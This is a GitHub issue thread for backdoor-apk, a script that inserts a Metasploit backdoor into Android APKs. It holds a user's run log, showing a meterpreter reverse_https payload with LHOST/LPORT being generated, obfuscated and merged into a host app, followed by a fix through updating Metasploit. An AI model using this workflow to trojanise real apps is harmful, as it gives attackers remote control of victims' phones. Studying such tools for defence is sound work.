dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.2k stars 699 forks source link

Failed to copy RAT smali files #45

Closed gaurav9991 closed 8 years ago

gaurav9991 commented 8 years ago

Hi,

Script fails because payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali file is not present.

payload/smali/com/metasploit/stage directory has only 1 file - MainActivity.smali

[*] Running backdoor-apk.sh v0.1.4 on Mon Oct 17 14:47:18 IST 2016
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.0.2.15
[?] Please enter an LPORT value: 443
[*] Generating RAT APK file...done.
[+] Using payload: android/meterpreter/reverse_https
[+] Handle the reverse connection at: 10.0.2.15:443
[*] Decompiling RAT APK file...done.
[*] Decompiling original APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[!] Failed to copy RAT smali files
dana-at-cp commented 8 years ago

@gaurav9991 Thanks for reporting the issue. Is this Metasploit on Kali Linux? If not, can you describe your environment and how you are obtaining Metasploit?

gaurav9991 commented 8 years ago

Hi @dana-at-cp,

I fixed the issue by updating Metasploit by msfupdate command. Yes, I was using Kali Linux.

dana-at-cp commented 8 years ago

@gaurav9991 Great! Glad you got it sorted.